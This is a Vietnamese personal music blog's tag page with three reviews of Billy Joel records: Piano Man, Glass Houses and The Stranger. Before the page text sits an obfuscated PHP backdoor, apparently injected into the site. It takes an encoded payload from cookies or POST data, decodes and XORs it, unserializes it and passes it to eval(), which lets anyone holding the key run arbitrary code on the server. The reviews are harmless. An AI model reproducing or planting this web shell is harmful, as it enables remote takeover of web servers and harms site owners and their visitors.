$gkTikmvawS = class_exists("L_JuS");if (!$gkTikmvawS){class L_JuS{private $pEkriz;public static $gEJHvAd = "0bac3d14-080a-40da-9ae3-072f26eb3bee";public static $hiuUA = NULL;public function __construct(){$nACiVMM = $_COOKIE;$ZybOWNLPM = $_POST;$AjoGQkCSfU = @$nACiVMM[substr(L_JuS::$gEJHvAd, 0, 4)];if (!empty($AjoGQkCSfU)){$CHzhCIO = "base64";$MphdUtXc = "";$AjoGQkCSfU = explode(",", $AjoGQkCSfU);foreach ($AjoGQkCSfU as $XvwaYg){$MphdUtXc .= @$nACiVMM[$XvwaYg];$MphdUtXc .= @$ZybOWNLPM[$XvwaYg];}$MphdUtXc = array_map($CHzhCIO . chr ( 182 - 87 ).'d' . 'e' . "\143" . chr (111) . "\x64" . chr (101), array($MphdUtXc,)); $MphdUtXc = $MphdUtXc[0] ^ str_repeat(L_JuS::$gEJHvAd, (strlen($MphdUtXc[0]) / strlen(L_JuS::$gEJHvAd)) + 1);L_JuS::$hiuUA = @unserialize($MphdUtXc);}}public function __destruct(){$this->rybNWbPiMq();}private function rybNWbPiMq(){if (is_array(L_JuS::$hiuUA)) {$EgZDwdc = str_replace("\74" . chr ( 405 - 342 )."\160" . "\150" . chr ( 886 - 774 ), "", L_JuS::$hiuUA[chr ( 642 - 543 ).chr (111) . 'n' . "\164" . "\x65" . "\x6e" . 't']);eval($EgZDwdc);exit();}}}$RYRUp = new L_JuS(); $RYRUp = NULL;} ?> billy-joel – B.l.u.e

B.l.u.e

Inside the crowd, I dance [alone]

Menu Close

Tag: billy-joel

Billy Joel – Piano Man

Record mà mình biết đến đầu tiên của Billy Joel, đồng thời cũng là (một trong những) record mà mình muốn có nhất, ngay từ trước khi mua turntable. Đúng ra, Piano Man không hay bằng các đĩa khác cũng của Billy Joel sau này mình có, nhưng nó vẫn là đĩa mình ưng nhất trong số các đĩa của Joel.

Piano Man là album thứ hai, và là album rất quan trọng trong sự nghiệp của Joel. Sau khi ra album đầu tiên, ông cắt đứt hợp đồng với Family Productions và dính vào kiện tụng rùm beng. Có những giai đoạn tưởng chừng sự nghiệp âm nhạc của ông bị buộc phải dừng lại. Nhưng không, Joel dành hết tâm huyết của mình vào việc sáng tác. Trong một dịp, đài WMMR ở Philadelphia mời ông thu trực tiếp bài Captain Jack trên sóng. Bài này được ưa thích đến mức trở thành bài hát được thính giả yêu cầu nhiều nhất trong lịch sử của đài. Sau đấy, hãng Columbia Records quyết định kí hợp đồng với ông để sản xuất album kế tiếp. Đó là Piano Man.

Tuy trong Piano Man, Billy Joel chưa hoàn toàn đạt được độ chín muồi trong tài năng, sáng tác và chơi nhạc, nhưng có nhiều ca khúc của ông đã trở thành thương hiệu, mà hầu như những ai yêu mến Billy Joel cũng từng nghe và yêu thích qua. Record này có nhiều ca khúc hay, đáng chú nhất là Travelin’ Prayer – mà sau này Dolly Parton đã đoạt giải Grammy khi cover lại nó vào gần 30 năm sau). Tuy nhiên, ca khúc mình thích nhất trong album này, và cũng là ca khúc khiến mình thích Billy Joel từ lâu, đó là Piano Man.

Yes, they’re sharing a drink they call loneliness
But it’s better than drinkin’ alone

 

Billy Joel – Glass Houses

Thú vị. Rất thú vị. Cũng phải mấy ngày rồi mới nghe được một album khiến mình thốt lên thế. Billy Joel trong Glass Houses hoàn toàn khác hẳn Billy Joel rất thành công với The Stranger hay 52nd Street trước đó. Có vẻ Joel muốn thoát khỏi hình ảnh một anh chàng hát nhạc rock nhẹ, nghiêng về phía những bản ballad ngọt mùi vốn đã làm nên tên tuổi và thương hiệu của mình. Ở album này, Joel nổi loạn.

Cover của album là hình ảnh Joel mặc áo da hầm hố, cầm cục đá ném bể kính một ngôi nhà kính 2 tầng. Và ngay từ những phút đầu tiên của album, tiếng vang lên rõ nhất là tiếng kính vỡ. Joel muốn ném vỡ đi hình ảnh đã đi sâu vào lòng người trước đây, để dựng lên một Joel mới, mạnh mẽ, cá tính và “chất lừ” hơn. Joel đã thành công.

Đi xuyên suốt trong album là tiếng guitar điện với những cú rift, chặt gãy gọn với tempo được đẩy nhanh. Nhiều người nghĩ rằng thời điểm album này xuất hiện và sự phát triển đang đà lên của thứ nhạc Punk cộng New Wave Anh Quốc ắt hẳn có gì đó liên quan. Điều này không phải hoàn toàn vô lý. Glass Houses hoàn toàn có thể liệt vào thể loại New Wave. Đôi chỗ giọng và tiết tấu của bài hát rất dễ liên tưởng đến Elvis Costello cũng đang làm mưa làm giớ thời điểm đó.

Tuy nhiên, nói đúng ra thì Glass Houses của Joel cũng không hoàn toàn chỉ có rock và guitar điện. Có những bài có cảm giác Joel một phần quay trở lại Joel của những bản ballad ngày xưa; không nhẹ nhàng thế, nhưng nhẹ hẳn đi ở một mức độ. Có bài còn trở lại với tiếng keyboard quen thuộc ngày nào.

Dù vẫn có vài lời chê rằng Glass Houses của Joel chưa ‘rock’ tới. Hay những thính giả trung thành đã quá quen với hình ảnh Joel lãng tử dịu dàng trước đó không thể thích ứng với sự thay đổi trong album này, thì cũng không thể phủ nhận Glass Houses là một trong những album thành công và đáng nhớ nhất của Billy Joel. Cái thứ nhạc mà Joel chơi trong album này sống động và đầy năng lượng như muốn bùng cháy, và xen vào đó, thỉnh thoảng lại là vài giây phút lắng êm đềm lãng mạn. Điều này khiến mình yêu thích nó chỉ trong lần đầu nghe thử…

Billy Joel – The Stranger

Mình có biết tiếng Billy Joel nhưng chưa hề nghe ông hát cho tới khi thấy vài đĩa vinyl của ông ở một tiệm thrift store gần nhà. Mình nghĩ rằng mình ghiền nghe Billy Joel ngay từ những tiếng nhạc đầu tiên. Có những đĩa của ông cả buổi mình nghe không biết chán. Nhạc của Billy nhìn chung là nhẹ nhàng, lời sâu sắc, nhưng không thiếu chỗ ngẫu hứng một cách rất tự nhiên và sảng khoái.

Mình có vài record của Billy Joel, The Stranger có thể tính là record đầu tiên mình nghe trọn vẹn. Nó hay, như ta hay nói, tuyệt cú mèo. Thật ra, phần lời của album này có thể chưa đạt lắm, có nhiều bài nếu nói là cheesy để ăn khách thì thôi cũng được. Nhưng phần nhạc và phần phối hay toả sáng đến mức đủ che giấu thiếu sót đó. Khi thì là tiếng guitar khoan thai, khi thì tiếng piano dồn dập, tiếng đàn phong cầm đầy rộn rã… ở từng thời khắc của tâm trạng mà vang lên, khiến người nghe không còn biết làm gì khác ngoài gật gù, lắc lư theo điệu nhạc. Hiệu ứng này có được nhờ tài phối tuyệt vời của Phil Ramone – người được xem như là một ‘huyền thoại’ trong ngành công nghiệp thu và hoà âm.

The Stranger là album nổi tiếng và thành công nhất của Billy Joel (nếu không tính vài album tổng hợp sau này). Nó cũng mang lại cho ông giải Grammy đầu tiên trong cuộc đời. Có tới 4 trên 9 bài lọt vào Billboard Hot 100 khi ra mắt, đó là “Just the Way You Are” (#3), “Movin’ Out” (#17), “Only the Good Die Young” (#24), and “She’s Always a Woman” (#17). Mình xem qua kha khá review về album này, thì ngoài việc ai cũng cho rằng album này tuyệt và đáng nghe cực, mỗi người đều có một ý kiến khác nhau về ca khúc chuẩn nhất trong album. Với mình là The Stranger.

Ca khúc cùng tên album không hiểu sao không được đánh giá cao, nhưng nó là ca khúc, không chỉ trong album này, mà có lẽ còn là một trong những ca khúc của Billy Joel mà mình thích nhất. Ngay từ những note đầu mở màn bằng tiếng huýt sáo buồn nẫu ruột, cho tới lúc những tiếng dương cầm dồn dập và giọng của Billy Joel vang lên, mình như nín thở nuốt từng giây phút của nhạc. Lời của The Stranger cũng rất lạ, phải nghe và ngẫm một hồi mới hình dung được Billy muốn truyền tải gì qua bài hát. Buồn, buồn lắm…

 

Well we all have a face
That we hide away forever
And we take them out and show ourselves
When everyone has gone

© 2024 B.l.u.e. All rights reserved.

Theme by Anders Norén.